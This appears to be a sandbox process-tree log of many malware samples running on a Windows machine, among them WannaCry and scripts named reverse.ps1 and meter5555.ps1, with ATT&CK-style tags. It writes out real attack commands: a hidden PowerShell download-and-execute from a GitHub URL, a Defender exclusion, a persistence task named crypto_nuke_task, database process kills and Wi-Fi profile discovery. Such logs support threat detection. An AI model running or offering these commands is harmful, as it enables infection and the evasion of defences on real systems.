C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uvbgy5ak\uvbgy5ak.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC73.tmp" "c:\Users\Admin\AppData\Local\Temp\uvbgy5ak\CSC74C97471286844769CA2C13CCEB9DDD8.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\G7_Update.exeG7_Update.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\GMT\UpdateDIr\G7_Update_240401\install.bat" "4⤵
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im "BasmDocu.exe"5⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 15⤵
- Delays execution with timeout.exe
-
-
C:\GMT\UpdateDIr\G7_Update_240401\IniEditor.exeIniEditor.exe5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittieobf.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\UrbanVPN.exeUrbanVPN.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svhost.exesvhost.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\second.exesecond.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\second.exesecond.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pvp.exepvp.exe3⤵
-
C:\Users\Admin\AppData\Roaming\riende.exe"C:\Users\Admin\AppData\Roaming\riende.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Phantom.exePhantom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Darwin.exeDarwin.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File reverse.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1341kh1o\1341kh1o.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4725.tmp" "c:\Users\Admin\AppData\Local\Temp\1341kh1o\CSC3125C377A59649C9901EEBA0F2BFF47C.TMP"5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File Invoke-NiceLittleKittie.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File meter5555.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qtz5obs1\qtz5obs1.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES69D0.tmp" "c:\Users\Admin\AppData\Local\Temp\qtz5obs1\CSCA4C747BDE7A84F669295D36FD8FCD2.TMP"5⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ud.bat3⤵
-
C:\Windows\system32\cmd.execmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bvit17/mh1/raw/main/MH1-T1.png' -OutFile 'C:\Users\Admin\AppData\Local\Temp\t3.bat'; Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\t3.bat' -WindowStyle Hidden"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bvit17/mh1/raw/main/MH1-T1.png' -OutFile 'C:\Users\Admin\AppData\Local\Temp\t3.bat'; Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\t3.bat' -WindowStyle Hidden5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\riende.exeriende.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exeWannaCry.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 189121781844154.bat4⤵
-
C:\Windows\SysWOW64\cscript.execscript //nologo c.vbs5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\!WannaDecryptor!.exe!WannaDecryptor!.exe f4⤵
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im MSExchange*4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im Microsoft.Exchange.*4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlserver.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im sqlwriter.exe4⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\hbvTmbP46IIEeHP1.exehbvTmbP46IIEeHP1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ui.exeui.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ui.exeui.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-gif.exedarts-gif.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\darts-gif.exedarts-gif.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\namu832.exenamu832.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\q-AMD64-Windows.exeq-AMD64-Windows.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\q-AMD64-Windows.exeq-AMD64-Windows.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\BootstrapperNew.exeBootstrapperNew.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\BootstrapperNew.exeBootstrapperNew.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-pixelit.exedarts-pixelit.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\darts-pixelit.exedarts-pixelit.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\darts-wled.exedarts-wled.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\darts-wled.exedarts-wled.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\msedge.exemsedge.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\msedge.exe'4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\gallery-dl.exegallery-dl.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Vector-fixer-v1.4.2.exeVector-fixer-v1.4.2.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Vector-fixer-v1.4.2.exeVector-fixer-v1.4.2.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GestionICC.exeGestionICC.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\nircmd.exenircmd.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\AddMeFast%20Bot.exeAddMeFast%20Bot.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cfxre.execfxre.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cfxre.execfxre.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\brbotnet.exebrbotnet.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\disbalancer-go-client-windows-386.exedisbalancer-go-client-windows-386.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\IcarusLite-v1.1.13-win.exeIcarusLite-v1.1.13-win.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\IcarusLite-v1.1.13-win.exeIcarusLite-v1.1.13-win.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c title Icarus Lite5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ChilledWindows.GUI.exeChilledWindows.GUI.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\CHROMI~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\CHROMI~2.EXE4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RDPW_Installer.exeRDPW_Installer.exe3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C994.tmp\C995.tmp\C996.bat C:\Users\Admin\AppData\Local\Temp\a\RDPW_Installer.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\C994.tmp\RDPWInst.exe"RDPWInst" -u5⤵
-
-
C:\Windows\system32\PING.EXEping -n 3 localhost5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\system32\xcopy.exexcopy "RDP_CnC.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
-
-
C:\Windows\system32\xcopy.exexcopy "RDPWInst.exe" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
-
-
C:\Windows\system32\xcopy.exexcopy "update.bat" "C:\Program Files\RDP Wrapper\" /s /I /y5⤵
-
-
C:\Windows\system32\xcopy.exexcopy "RDP_CnC.lnk" "C:\Users\Admin\Desktop\" /s /I /y5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i r.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Cloudy.exeCloudy.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Konsol.exeKonsol.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\snd16061.exesnd16061.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Roaming\WinSupUpdata\client32.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\XClient.exeXClient.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\BruterV3.1.exeBruterV3.1.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\downloader.exedownloader.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FF98.tmp\FF99.tmp\FF9A.bat C:\Users\Admin\AppData\Local\Temp\a\downloader.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exeChromeUpdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Service.exeService.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bnoaprihjatuasss.exebnoaprihjatuasss.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cvf.execvf.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cvf.execvf.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c nslookup myip.opendns.com resolver1.opendns.com | findstr Address | findstr /V resolver1.opendns.com5⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup myip.opendns.com resolver1.opendns.com6⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr Address6⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V resolver1.opendns.com6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ntladlklthawd.exentladlklthawd.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\putty.exeputty.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i d.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i d.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Fast%20Download.exeFast%20Download.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cabalmain.execabalmain.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\444.exe444.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CritScript.exeCritScript.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\JUSCHED.EXE"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exeEmmetPROD.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"4⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic computersystem get name, TotalPhysicalMemory /Value5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\access.exeaccess.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\access.exeaccess.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\LauncherLoader.exeLauncherLoader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pdf%20Reader.exePdf%20Reader.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Steanings.exeSteanings.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cabal.execabal.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\FXServer.exeFXServer.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\prueba.exeprueba.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\System32\a\kythy.exekythy.exe3⤵
-
-
C:\Windows\System32\a\Setup.exeSetup.exe3⤵
-
-
C:\Windows\System32\a\crz.execrz.exe3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0x50,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=2248,i,12502038940424966106,16412178633622914146,262144 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,7084889163888488353,7696255981537554739,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2632,i,5610861878511470135,8735376609994636356,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3952,i,12495360885758769916,11687238693130420132,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3972,i,7746119174980758486,2498164622668563536,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5900,i,7104345330897398165,5063425492754667781,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6204,i,4675872829393781200,16047540482856880919,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6212,i,13563566266077628286,12441755437849655395,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6216,i,10259667786873513125,7489947725261525808,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6336,i,4424678535790279530,882716573912633315,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=1752,i,3235649272211146024,7359337849747560194,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=ja --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,8054754007821939666,2150467435876385925,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6724 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6556,i,14777509622247798337,9684190111440156864,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=884,i,15973801286613561442,8951485028596027951,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6560,i,1750872355879354766,245589794234982697,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,4617724945235622523,7096467793515732352,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=1236 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5892,i,8120804862160491414,8602783969077383594,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5884,i,12746562149127975118,3083516213341280855,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5984 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=7020,i,7858955993993358393,13768386940591233901,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=4544 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6004,i,14842405839977550780,7163511632211024791,262144 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:105⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6000,i,11157029402764771905,6275641171493969670,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=7004,i,14146133821263311537,18144914411092763788,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=1112 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,1456876553386529629,15921342275543297143,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:115⤵
- System Time Discovery
-
-
